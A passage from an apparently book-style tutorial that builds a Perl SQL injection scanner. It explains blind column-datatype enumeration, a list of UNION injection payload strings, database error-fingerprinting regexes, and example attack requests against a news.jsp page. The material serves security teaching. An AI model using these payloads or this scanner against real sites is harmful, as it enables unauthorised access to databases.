  if ($sqlDbType ne &amp;quot;unknown&amp;quot;) {&lt;br /&gt;
&lt;br /&gt;
Provided we have successfully detected our database server, we declare a column position counter to move through each column position in the query, one at a time (starting with the first and moving to the right). We also declare an array containing a value for each column in the query and initially assign each a value of &amp;lt;tt&amp;gt;null&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
   my $sqlBlindColumnPos = 0;&lt;br /&gt;
   my @columns = ( );&lt;br /&gt;
   for ($sqlBlindColumnPos = 0; $sqlBlindColumnPos &amp;lt; $sqlColumnVuln; $sqlBlindColumnPos++) {&lt;br /&gt;
    $columns[$sqlBlindColumnPos] = &amp;quot;null&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
Next, we declare a second counter variable to track which datatypes we tested for each column position. Recall that we created an array within the &amp;lt;tt&amp;gt;%databaseInfo&amp;lt;/tt&amp;gt; hash that contains the datatype conversion strings used to test each datatype. We are tracking the positions within this array with the second counter variable (&amp;lt;tt&amp;gt;$sqlBlindDataTypePos&amp;lt;/tt&amp;gt;). This value starts over at &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt; as we begin testing each column position:&lt;br /&gt;
&lt;br /&gt;
   my $sqlBlindDataTypePos = 0;&lt;br /&gt;
&lt;br /&gt;
Now we are ready to start our datatype testing loops. One by one, we iterate through each column position (left to right) in our query, and for each position we perform another loop through the datatype array (each datatype conversion string) until we issue a request that does not generate an error. Again, we use the same substitution technique we used to build the database detection request:&lt;br /&gt;
&lt;br /&gt;
   do { &lt;br /&gt;
    $columns[$sqlBlindColumnPos] = $databaseInfo{$sqlDbType}{dataTypes}&lt;br /&gt;
 [$sqlBlindDataTypePos];&lt;br /&gt;
    my $dataTypeCombo = join(&amp;quot;,&amp;quot;,@columns);&lt;br /&gt;
    &lt;br /&gt;
    my $sqlBlindDataTypeTest = $paramRequest;&lt;br /&gt;
    my $sqlBlindDataTypeString = $sqlOrVuln;&lt;br /&gt;
    my $sqlBlindDataTypeUnion = &amp;quot;%20UNION%20ALL%20SELECT%20$dataTypeCombo&lt;br /&gt;
 %20FROM%20$databaseInfo{$sqlDbType}{tableName}--&amp;quot;;&lt;br /&gt;
    $sqlBlindDataTypeString =~ s/%20OR%20.*--/$sqlBlindDataTypeUnion/;&lt;br /&gt;
    $sqlBlindDataTypeTest =~ s/---PLACEHOLDER---/$sqlBlindDataTypeString/;&lt;br /&gt;
    my ($sqlBlindDataTypeStatus, $sqlBlindDataTypeResults) = &lt;br /&gt;
 makeRequest($sqlBlindDataTypeTest);&lt;br /&gt;
&lt;br /&gt;
After each request, we declare the &amp;lt;tt&amp;gt;$dataTypeFieldSuccess&amp;lt;/tt&amp;gt; variable with a value of &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt; and inspect the response to see if it contains the appropriate error (based on the value of the &amp;lt;tt&amp;gt;$sqlVuln&amp;lt;/tt&amp;gt; variable). If an error is present, we set the &amp;lt;tt&amp;gt;$dataTypeFieldSuccess&amp;lt;/tt&amp;gt; variable to &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt;; otherwise it remains at &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
    my $dataTypeFieldSuccess = 0;&lt;br /&gt;
    if (($sqlBlindDataTypeResults !~ $sqlRegEx &amp;amp;&amp;amp; $sqlVuln == 1) || ($sqlBlindDataTypeStatus !~ /^500/ &amp;amp;&amp;amp; $sqlVuln == 2) || ($sqlBlindDataTypeResults !~ /error|unable to/i &amp;amp;&amp;amp; $sqlVuln == 3) || (length($sqlBlindDataTypeResults) &amp;gt; 100 &amp;amp;&amp;amp; $sqlVuln == 4)) {&lt;br /&gt;
     $dataTypeFieldSuccess = 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If the &amp;lt;tt&amp;gt;$dataTypeFieldSuccess&amp;lt;/tt&amp;gt; variable is equal to &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt;, we have identified the correct datatype for the current column position, so we increment the column position counter (&amp;lt;tt&amp;gt;$sqlBlindColumnPos&amp;lt;/tt&amp;gt;) and reset the datatype array counter (&amp;lt;tt&amp;gt;$sqlBlindDataTypePos&amp;lt;/tt&amp;gt;) to &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
    if ($dataTypeFieldSuccess == 1) {&lt;br /&gt;
     $sqlBlindColumnPos++;&lt;br /&gt;
     $sqlBlindDataTypePos = 0;&lt;br /&gt;
&lt;br /&gt;
At this point, we also check to see if our column counter (&amp;lt;tt&amp;gt;$sqlBlindColumnPos&amp;lt;/tt&amp;gt;) is equal to the number of columns in the &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query. If it is, we are finished detecting the datatype on each column; otherwise, we must continue to the next column. Note that we compared the &amp;lt;tt&amp;gt;$sqlBlindColumnPos&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;$sqlColumnVuln&amp;lt;/tt&amp;gt; variables after we incremented &amp;lt;tt&amp;gt;$sqlBlindColumnPos&amp;lt;/tt&amp;gt; by &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt;. Because the &amp;lt;tt&amp;gt;$sqlBlindColumnPos&amp;lt;/tt&amp;gt; variable is monitoring array positions (which start at &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;), it is actually always one less than the true column number it is testing (column number one is in array position zero, etc.):&lt;br /&gt;
&lt;br /&gt;
     if ($sqlBlindColumnPos == $sqlColumnVuln) {&lt;br /&gt;
      $sqlBlindDataTypeSuccess = &amp;quot;true&amp;quot;;&lt;br /&gt;
      printReport(&amp;quot;\n\nALERT: Possible SQL Injection Exploit:\n=&amp;gt; $sqlBlindDataTypeTest\n\n&amp;quot;);&lt;br /&gt;
     }&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;tt&amp;gt;$dataTypeFieldSuccess&amp;lt;/tt&amp;gt; is not equal to &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt;, we must increment the datatype position counter (&amp;lt;tt&amp;gt;$sqlBlindDataTypePos&amp;lt;/tt&amp;gt;) and test the same column again using the next datatype in the array:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;   } else {&lt;br /&gt;
    $sqlBlindDataTypePos++;&lt;br /&gt;
    if ($sqlBlindDataTypePos &amp;gt; $#{$databaseInfo{$sqlDbType}{dataTypes}}) {&lt;br /&gt;
     $sqlBlindDataTypeSuccess = &amp;quot;error&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
   }&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note here that we check to make sure the datatype position counter is not greater than the total number of members in the datatype array itself (&amp;lt;tt&amp;gt;&amp;lt;nowiki&amp;gt;$#{$databaseInfo{$sqlDbType}{dataTypes}}&amp;lt;/nowiki&amp;gt;&amp;lt;/tt&amp;gt;). If it is, we have tested every datatype in the array for this column without success, so we assign a value of &amp;lt;tt&amp;gt;error&amp;lt;/tt&amp;gt; to the &amp;lt;tt&amp;gt;$sqlBlindDataTypeSuccess&amp;lt;/tt&amp;gt; variable, which causes the loop to end immediately.&lt;br /&gt;
&lt;br /&gt;
The loop continues to run until the &amp;lt;tt&amp;gt;$sqlBlindDataTypeSuccess&amp;lt;/tt&amp;gt; variable is not equal to &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt; (essentially until it is set to either &amp;lt;tt&amp;gt;true&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;error&amp;lt;/tt&amp;gt;). After the loop exits, we return the &amp;lt;tt&amp;gt;$sqlBlindDataTypeSuccess&amp;lt;/tt&amp;gt; value and close the subroutine:&lt;br /&gt;
&lt;br /&gt;
   } until ($sqlBlindDataTypeSuccess ne &amp;quot;false&amp;quot;); &lt;br /&gt;
  }&lt;br /&gt;
  return $sqlBlindDataTypeSuccess;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
[[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-TABLE-5|Table 9-5]] lists the example test requests our scanner made during the blind datatype enumeration phase of this routine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-9-TABLE-5&amp;quot;&amp;gt;&lt;br /&gt;
'''Table 9-5. Example datatype enumeration requests'''&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
! Test request !! Response&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1')%20UNION%20SELECT%20 TO_CHAR(1),null %20FROM%20ALL_TABLES--&amp;amp;view=F&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 500 Server Error&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1')%20UNION%20SELECT%20 TO_NUMBER(1),null%20FROM%20ALL_TABLES--&amp;amp;view=F&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 200 OK&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1')%20UNION%20SELECT%20 TO_NUMBER(1), TO_CHAR(1)%20FROM%20 ALL_TABLES--&amp;amp;view=F&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 200 OK&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now that all our blind testing is finished, we will shift gears to the error-based testing routines. Moving back to the main script body, we close out the two open &amp;lt;tt&amp;gt;if&amp;lt;/tt&amp;gt; statements before we begin the error-based logic. Let's look at all the main script body logic we have constructed thus far with respect to SQL injection testing:&lt;br /&gt;
&lt;br /&gt;
      $sqlVuln = &amp;amp;amp;sqlTest;&lt;br /&gt;
      if ($sqlVuln != 0) {&lt;br /&gt;
       $sqlOrVuln = &amp;amp;amp;sqlOrTest;&lt;br /&gt;
       if ($sqlOrVuln ne &amp;quot;false&amp;quot;) {&lt;br /&gt;
        if ($sqlOrVuln =~ /--$/) {&lt;br /&gt;
         $sqlColumnVuln = &amp;amp;amp;sqlBlindColumnTest;&lt;br /&gt;
         if ($sqlColumnVuln != 0) {&lt;br /&gt;
          $sqlDataTypeVuln = &amp;amp;amp;sqlBlindDataTypeTest;&lt;br /&gt;
         }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
To recap, we start by performing the initial single-quote test on the specific parameter at hand (&amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt;). If the value returned by &amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt; is not &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;, we perform generic &amp;lt;tt&amp;gt;OR&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;1=1&amp;lt;/tt&amp;gt; testing against the injection point (&amp;lt;tt&amp;gt;sqlOrTest&amp;lt;/tt&amp;gt;) to confirm that the injection point exists and is exploitable. If the &amp;lt;tt&amp;gt;sqlOrTest&amp;lt;/tt&amp;gt; routine resulted in success, we inspect the exploit string it used to see if it ends in a double hyphen (required for blind routines). If a double hyphen was used, we attempt to perform blind column enumeration using the &amp;lt;tt&amp;gt;sqlBlindColumnTest&amp;lt;/tt&amp;gt; subroutine. Based on the success or failure of the &amp;lt;tt&amp;gt;sqlBlindColumnTest&amp;lt;/tt&amp;gt; routine, we attempt to perform blind datatype enumeration using the &amp;lt;tt&amp;gt;sqlBlindDataTypeTest&amp;lt;/tt&amp;gt; subroutine.&lt;br /&gt;
&lt;br /&gt;
At this point, we are still inside the &amp;lt;tt&amp;gt;if&amp;lt;/tt&amp;gt; statement, indicating that &amp;lt;tt&amp;gt;sqlOrTest&amp;lt;/tt&amp;gt; was successful, and we must decide whether we want to run the first of three error-based injection routines. We run the error-based test routines only if any of the following two criteria are met:&lt;br /&gt;
&lt;br /&gt;
* The &amp;lt;tt&amp;gt;$sqlColumnVuln&amp;lt;/tt&amp;gt; variable is equal to &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt; (meaning the blind column test either failed or was not performed).&lt;br /&gt;
* The &amp;lt;tt&amp;gt;$sqlDataTypeVuln&amp;lt;/tt&amp;gt; variable is not set to &amp;lt;tt&amp;gt;true&amp;lt;/tt&amp;gt; (meaning the blind column datatype test either failed or was not performed).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;tip&amp;quot;&amp;gt;&lt;br /&gt;
'''Tip'''&lt;br /&gt;
&lt;br /&gt;
To continue providing example execution, we will change some of the assumptions we are working under. Specifically, we will assume the Oracle instance we are attempting to exploit does not support the double-hyphen comment marker and that the application server returns detailed stack trace information in the event of an unhandled error.&lt;br /&gt;
&lt;br /&gt;
Based on these new assumptions, the value of &amp;lt;tt&amp;gt;$sqlVuln&amp;lt;/tt&amp;gt; is now &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt;. Additionally, the blind routines were not invoked based on the value that was returned by &amp;lt;tt&amp;gt;sqlOrTest&amp;lt;/tt&amp;gt; (assigned to &amp;lt;tt&amp;gt;$sqlOrVuln&amp;lt;/tt&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 1')%20OR%20('1'%3D'1&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If either of these two conditions exists, we move into the error-based routines and call the first of three subroutines (&amp;lt;tt&amp;gt;sqlUnionTest&amp;lt;/tt&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
        if (($sqlColumnVuln == 0) || ($sqlDataTypeVuln ne &amp;quot;true&amp;quot;)) {&lt;br /&gt;
         $sqlUnionVuln = &amp;amp;amp;sqlUnionTest;&lt;br /&gt;
&lt;br /&gt;
The purpose of &amp;lt;tt&amp;gt;sqlUnionTest&amp;lt;/tt&amp;gt; is to detect whether a &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query is possible based on the error message the database server returns. In all three error-based subroutines, we look for the presence or absence of specific known error messages for each database type. To do this, first we must define those error messages for each supported database server. Essentially we are looking for three specific error messages (one in each subroutine).&lt;br /&gt;
&lt;br /&gt;
The first of these messages is used to determine if a &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query is possible given the exploit syntax. Most database servers (including Oracle and Microsoft SQL Server) verify that all tables you are running a query against in a &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; actually exist before they check to see if you have the right number of columns and datatypes. As such, a &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query attempt to a nonexistent table typically generates an error indicating the table does not exist. The first error-based subroutine attempts to run a &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query against a nonexistent table and checks to see if this specific error message is returned. This error message is also used to determine the type of database server we are exploiting because the error messages differ depending on the type of server being queried.&lt;br /&gt;
&lt;br /&gt;
The second error message is used to determine whether the &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query contains the correct number of columns. Once we attempt to query a valid table within the &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query, the database should respond with an error indicating that our query must have the same number of columns as the original query. We attempt to brute-force the number of columns in the original query by continuing to add columns to the &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query until this error goes away.&lt;br /&gt;
&lt;br /&gt;
The third and last error message is used to determine the appropriate datatype in each column position. Once we have the right number of columns in our &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query, the database server should return an error indicating that the datatypes in each column must match those in the original query. Our script proceeds to brute-force the correct datatype combination by attempting every possible combination of datatypes within the allotted number of columns.&lt;br /&gt;
&lt;br /&gt;
Now that we know how the three error messages are used, we will develop a regular expression to identify each of them. [[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-TABLE-6|Table 9-6]] shows the actual message returned by both Oracle and SQL Server under each of the aforementioned scenarios.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-9-TABLE-6&amp;quot;&amp;gt;&lt;br /&gt;
'''Table 9-6. Microsoft SQL Server and Oracle error messages'''&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
! Database server !! Error type !! Error message&lt;br /&gt;
|-&lt;br /&gt;
| Oracle || Invalid table in &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; (two possible messages) || Table or view does not exist''or''Invalid table name&lt;br /&gt;
|-&lt;br /&gt;
| Incorrect number of columns in &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; || Query block has incorrect number of result columns.&lt;br /&gt;
| class=&amp;quot;auto-generated&amp;quot; |  &lt;br /&gt;
|-&lt;br /&gt;
| Incorrect datatype in &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; || Expression must have same datatype as corresponding expression.&lt;br /&gt;
| class=&amp;quot;auto-generated&amp;quot; |  &lt;br /&gt;
|-&lt;br /&gt;
| Microsoft SQL Server || Invalid table in &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; || Invalid object name.&lt;br /&gt;
|-&lt;br /&gt;
| Incorrect number of columns in &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; || All queries in an SQL statement containing a &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; operator must have an equal number of expressions in their target lists.&lt;br /&gt;
| class=&amp;quot;auto-generated&amp;quot; |  &lt;br /&gt;
|-&lt;br /&gt;
| Incorrect datatype in &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; (three possible messages) || Error converting datatype &amp;lt;tt&amp;gt;nvarchar&amp;lt;/tt&amp;gt; to &amp;lt;tt&amp;gt;float&amp;lt;/tt&amp;gt;''or'' Syntax error converting the &amp;lt;tt&amp;gt;nvarchar&amp;lt;/tt&amp;gt;&amp;lt;nowiki&amp;gt;value '' to a column of datatype&amp;lt;/nowiki&amp;gt;&amp;lt;tt&amp;gt;int&amp;lt;/tt&amp;gt;''or'' Operand type clash&lt;br /&gt;
| class=&amp;quot;auto-generated&amp;quot; |  &lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The regular expressions used to identify each error message in [[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-TABLE-6|Table 9-6]] are included in the &amp;lt;tt&amp;gt;%databaseInfo&amp;lt;/tt&amp;gt; hash used to store all database-specific information. We can add the following new hash members along with the original ones we included during the blind exploit test:&lt;br /&gt;
&lt;br /&gt;
 my %databaseInfo;&lt;br /&gt;
 &lt;br /&gt;
 # MS-SQL&lt;br /&gt;
 $databaseInfo{mssql}{tableName} = &amp;quot;MASTER\.\.SYSDATABASES&amp;quot;;&lt;br /&gt;
 $databaseInfo{mssql}{dataTypes} = [&amp;quot;CONVERT(VARCHAR,1)&amp;quot;,&amp;quot;CONVERT(INT,1)&amp;quot;];&lt;br /&gt;
 $databaseInfo{mssql}{unionError} = qr /Invalid object name|Invalid table name/i;&lt;br /&gt;
 $databaseInfo{mssql}{columnError} = qr /All queries in an? SQL statement containing/i;&lt;br /&gt;
 $databaseInfo{mssql}{dataTypeError} = qr /error converting|Operand type clash/i;&lt;br /&gt;
 &lt;br /&gt;
 # Oracle&lt;br /&gt;
 $databaseInfo{oracle}{tableName} = &amp;quot;ALL_TABLES&amp;quot;;&lt;br /&gt;
 $databaseInfo{oracle}{dataTypes} = [&amp;quot;TO_CHAR(1)&amp;quot;,&amp;quot;TO_NUMBER(1)&amp;quot;,&amp;quot;TO_DATE('01','MM')&amp;quot;];&lt;br /&gt;
 $databaseInfo{oracle}{unionError} = qr /table or view does not exist/i;&lt;br /&gt;
 $databaseInfo{oracle}{columnError} = qr /incorrect number of result columns/i;&lt;br /&gt;
 $databaseInfo{oracle}{dataTypeError} = qr /expression must have same datatype/i;&lt;br /&gt;
&lt;br /&gt;
Now that we have defined the required error messages, we can look at the first subroutine (&amp;lt;tt&amp;gt;sqlUnionTest&amp;lt;/tt&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
==== sqlUnionTest subroutine ====&lt;br /&gt;
&lt;br /&gt;
The main purpose of this subroutine is to determine not only whether the &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query is possible, but also the syntax for the query. Unlike the previous routines, &amp;lt;tt&amp;gt;sqlUnionTest&amp;lt;/tt&amp;gt; does not rely on the exploit string generated by &amp;lt;tt&amp;gt;sqlOrTest&amp;lt;/tt&amp;gt; to perform its testing. Instead, this subroutine attempts to construct a &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; exploit query from scratch. Because the &amp;lt;tt&amp;gt;sqlOrTest&amp;lt;/tt&amp;gt; routine is primarily concerned with getting a query to run (not necessarily to return any data), it does not always take into account the potential impact that additional &amp;lt;tt&amp;gt;WHERE&amp;lt;/tt&amp;gt; criteria appended to the injected data could have on the specific records returned by the query. The &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; test strings in this routine are specifically designed to allow all records from the &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query to be returned, even if additional &amp;lt;tt&amp;gt;WHERE&amp;lt;/tt&amp;gt; criteria are appended to the injected input. We begin this subroutine by defining an array of test strings used to determine whether the &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query can be run:&lt;br /&gt;
&lt;br /&gt;
 sub sqlUnionTest {&lt;br /&gt;
 &lt;br /&gt;
  my @sqlUnionArray=(&lt;br /&gt;
   &amp;quot;1%20UNION%20ALL%20select%20FOO%20from%20BLAH--&amp;quot;,&lt;br /&gt;
   &amp;quot;1'%20UNION%20ALL%20select%20FOO%20from%20BLAH--&amp;quot;,&lt;br /&gt;
   &amp;quot;1\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--&amp;quot;,&lt;br /&gt;
   &amp;quot;1'\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--&amp;quot;,&lt;br /&gt;
   &amp;quot;1\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--&amp;quot;,&lt;br /&gt;
   &amp;quot;1'\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--&amp;quot;,&lt;br /&gt;
   &amp;quot;1\)\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--&amp;quot;,&lt;br /&gt;
   &amp;quot;1'\)\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--&amp;quot;,&lt;br /&gt;
   &amp;quot;1%20UNION%20ALL%20select%20FOO%20from%20BLAH&amp;quot;,&lt;br /&gt;
   &amp;quot;1'%20UNION%20ALL%20select%20FOO%20from%20BLAH&amp;quot;,&lt;br /&gt;
   &amp;quot;1%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%201%3D1&amp;quot;,&lt;br /&gt;
   &amp;quot;1'%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%20'1'%3D'1&amp;quot;,&lt;br /&gt;
   &amp;quot;1\)%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%201%3D1%20OR\(1%3D1&amp;quot;,&lt;br /&gt;
   &amp;quot;1'\)%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%20'1'%3D'1'%20OR\&lt;br /&gt;
      ('1'%3D&lt;br /&gt;
 '1&amp;quot;,&lt;br /&gt;
   &amp;quot;1\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%201%3D1%20OR\(\(1%3D1&amp;quot;,&lt;br /&gt;
   &amp;quot;1'\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%20'1'%3D'1'%20OR\(\&lt;br /&gt;
      ('1&lt;br /&gt;
 '%3D'1&amp;quot;,&lt;br /&gt;
   &amp;quot;1\)\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%201%3D1%20OR\(\(\&lt;br /&gt;
      (1%3&lt;br /&gt;
 D1&amp;quot;,   &lt;br /&gt;
   &amp;quot;1'\)\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%20'1'%3D'1'%20OR\(\(&lt;br /&gt;
 \('1'%3D'1&amp;quot;&lt;br /&gt;
  );&lt;br /&gt;
&lt;br /&gt;
Next, we declare the &amp;lt;tt&amp;gt;$sqlUnionSuccess&amp;lt;/tt&amp;gt; variable in the same manner as we did the blind routines. This variable ultimately is used to determine whether the test was successful, so we declare it with a value of &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt;. Then we move right into a &amp;lt;tt&amp;gt;for&amp;lt;/tt&amp;gt; loop on the &amp;lt;tt&amp;gt;@sqlUnionArray&amp;lt;/tt&amp;gt; array, where we cycle through each &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; test string and use &amp;lt;tt&amp;gt;$paramRequest&amp;lt;/tt&amp;gt; to make a test request containing the test string in lieu of the placeholder value:&lt;br /&gt;
&lt;br /&gt;
 foreach my $sqlUnion (@sqlUnionArray) {&lt;br /&gt;
   if ($sqlUnionSuccess eq &amp;quot;false&amp;quot;) {&lt;br /&gt;
 &lt;br /&gt;
    # Replace the &amp;quot;---PLACEHOLDER---&amp;quot; string with our test string&lt;br /&gt;
    my $sqlUnionTest = $paramRequest;&lt;br /&gt;
    $sqlUnionTest =~ s/---PLACEHOLDER---/$sqlUnion/;&lt;br /&gt;
 &lt;br /&gt;
    # Make the request and get the response data&lt;br /&gt;
    my ($sqlUnionStatus, $sqlUnionResults) = makeRequest($sqlUnionTest);&lt;br /&gt;
&lt;br /&gt;
Before each loop iteration we check to make sure &amp;lt;tt&amp;gt;$sqlUnionSuccess&amp;lt;/tt&amp;gt; is still equal to &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt;. After each request, we perform a nested loop through each key in the &amp;lt;tt&amp;gt;%databaseInfo&amp;lt;/tt&amp;gt; hash (essentially each database type) and inspect the test response to determine if it contains the &amp;lt;tt&amp;gt;unionError&amp;lt;/tt&amp;gt; message defined for the key:&lt;br /&gt;
&lt;br /&gt;
    foreach my $dbType (keys %databaseInfo) { &lt;br /&gt;
     if ($sqlUnionResults =~ $databaseInfo{$dbType}{unionError}) {&lt;br /&gt;
      $sqlUnion =~ s/BLAH/$databaseInfo{$dbType}{tableName}/;&lt;br /&gt;
      $sqlDbType = $dbType;&lt;br /&gt;
      $sqlUnionSuccess = $sqlUnion;&lt;br /&gt;
     }&lt;br /&gt;
&lt;br /&gt;
As shown in the preceding code, if the specified regular expression for a given database matches the response, we replace the table name from the &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; test request (&amp;lt;tt&amp;gt;BLAH&amp;lt;/tt&amp;gt;) with the appropriate test table name from the &amp;lt;tt&amp;gt;%databaseInfo&amp;lt;/tt&amp;gt; hash, assign the current key value (&amp;lt;tt&amp;gt;$dbType&amp;lt;/tt&amp;gt;) to the &amp;lt;tt&amp;gt;$sqlDbType&amp;lt;/tt&amp;gt; variable (indicating that we have successfully identified the database), and update &amp;lt;tt&amp;gt;$sqlUnionSuccess&amp;lt;/tt&amp;gt; to reflect the value of the new, well-formed &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; test request. Finally, we close out all our open loops, return the &amp;lt;tt&amp;gt;$sqlUnionSuccess&amp;lt;/tt&amp;gt; variable, and exit the subroutine:&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  return $sqlUnionSuccess;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
[[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-TABLE-7|Table 9-7]] lists example requests made by this subroutine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-9-TABLE-7&amp;quot;&amp;gt;&lt;br /&gt;
'''Table 9-7. Example requests made by sqlUnionTest'''&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
! Test request !! Result&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&amp;amp;view=F&lt;br /&gt;
| General database error message&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1'%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&amp;amp;view=F&lt;br /&gt;
| General database error message&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1)%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&amp;amp;view=F&lt;br /&gt;
| General database error message&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1')%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&amp;amp;view=F&lt;br /&gt;
| General database error message&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1))%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&amp;amp;view=F&lt;br /&gt;
| General database error message&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1'))%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&amp;amp;view=F&lt;br /&gt;
| General database error message&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
